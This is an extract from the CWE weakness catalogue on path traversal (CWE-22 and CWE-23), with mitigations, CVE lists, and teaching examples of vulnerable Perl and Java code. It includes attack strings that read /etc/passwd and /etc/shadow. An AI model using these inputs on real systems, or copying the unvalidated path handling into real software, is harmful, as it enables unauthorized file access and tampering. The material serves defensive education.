Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
ParentOf	B	23	Relative Path Traversal	42
ParentOf	B	36	Absolute Path Traversal	69
CanFollow	C	20	Improper Input Validation	19
CanFollow	B	73	External Control of File Name or Path	125
CanFollow	C	172	Encoding Error	399

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Directory traversal :

Path traversal : "Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.*	
Integrity	Modify Files or Directories *The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.*	
Confidentiality	Read Files or Directories *The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.*	
Availability	DoS: Crash, Exit, or Restart *The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.*	

Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness = High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a

directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of

implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl *(bad)*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language: *(result)*

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Example Language: *(result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java *(bad)*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system

property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4:

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java *(bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

Example Language: *(attack)*

```
/safe_dir/../important.dat
```

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

Example Language: HTML *(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
        ...
}
```

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

Observed Examples

Reference	Description
CVE-2010-0467	Newsletter module allows reading arbitrary files using "../" sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0467*
CVE-2009-4194	FTP server allows deletion of arbitrary files using ".." in the DELE command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4194*
CVE-2009-4053	FTP server allows creation of arbitrary directories using ".." in the MKD command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4053*
CVE-2009-0244	OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0244*
CVE-2009-4013	Software package maintenance program allows overwriting arbitrary files using "../" sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4013*
CVE-2009-4449	Bulletin board allows attackers to determine the existence of files using the avatar. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4449*
CVE-2009-4581	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4581*
CVE-2010-0012	Overwrite of files using a .. in a Torrent file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0012*
CVE-2010-0013	Chat program allows overwriting files using a custom smiley request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013*
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5748*
CVE-2009-1936	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936*

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	1871
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	1930
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1977
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
SEI CERT Perl Coding Standard	IDS00-PL	Exact	Canonicalize path names before validating them
WASC	33		Path Traversal

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP16		Path Traversal
OMG ASCSM	ASCSM-CWE-22		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
126	Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001) >.

[REF-186]Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". 2010 March 9. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/ >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-23: Relative Path Traversal

Weakness ID : 23 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
ParentOf	V	24	Path Traversal: '../filedir'	48
ParentOf	V	25	Path Traversal: '/../filedir'	50
ParentOf	V	26	Path Traversal: '/dir/../filename'	51
ParentOf	V	27	Path Traversal: 'dir/../../filename'	53
ParentOf	V	28	Path Traversal: '..\filedir'	54
ParentOf	V	29	Path Traversal: '\..\filename'	56
ParentOf	V	30	Path Traversal: '\dir\..\filename'	58
ParentOf	V	31	Path Traversal: 'dir\..\..\filename'	60
ParentOf	V	32	Path Traversal: '...' (Triple Dot)	62
ParentOf	V	33	Path Traversal: '....' (Multiple Dot)	64
ParentOf	V	34	Path Traversal: '..../'	66
ParentOf	V	35	Path Traversal: '.../.../'	68

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.*	
Integrity	Modify Files or Directories *The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.*	
Confidentiality	Read Files or Directories *The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.*	
Availability	DoS: Crash, Exit, or Restart *The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP

Demonstrative Examples

Example 1:

The following URLs are vulnerable to this attack:

Example Language: *(bad)*

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

Example Language: *(attack)*

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl *(bad)*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language: *(result)*

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Example Language: *(result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML *(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
        ...
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0298*
CVE-2002-0661	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661*
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0946*

Reference	Description
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1042*
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1209*
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1178*
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987*
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2142*
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0160*
CVE-2001-0467	"\..." in web server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0467*
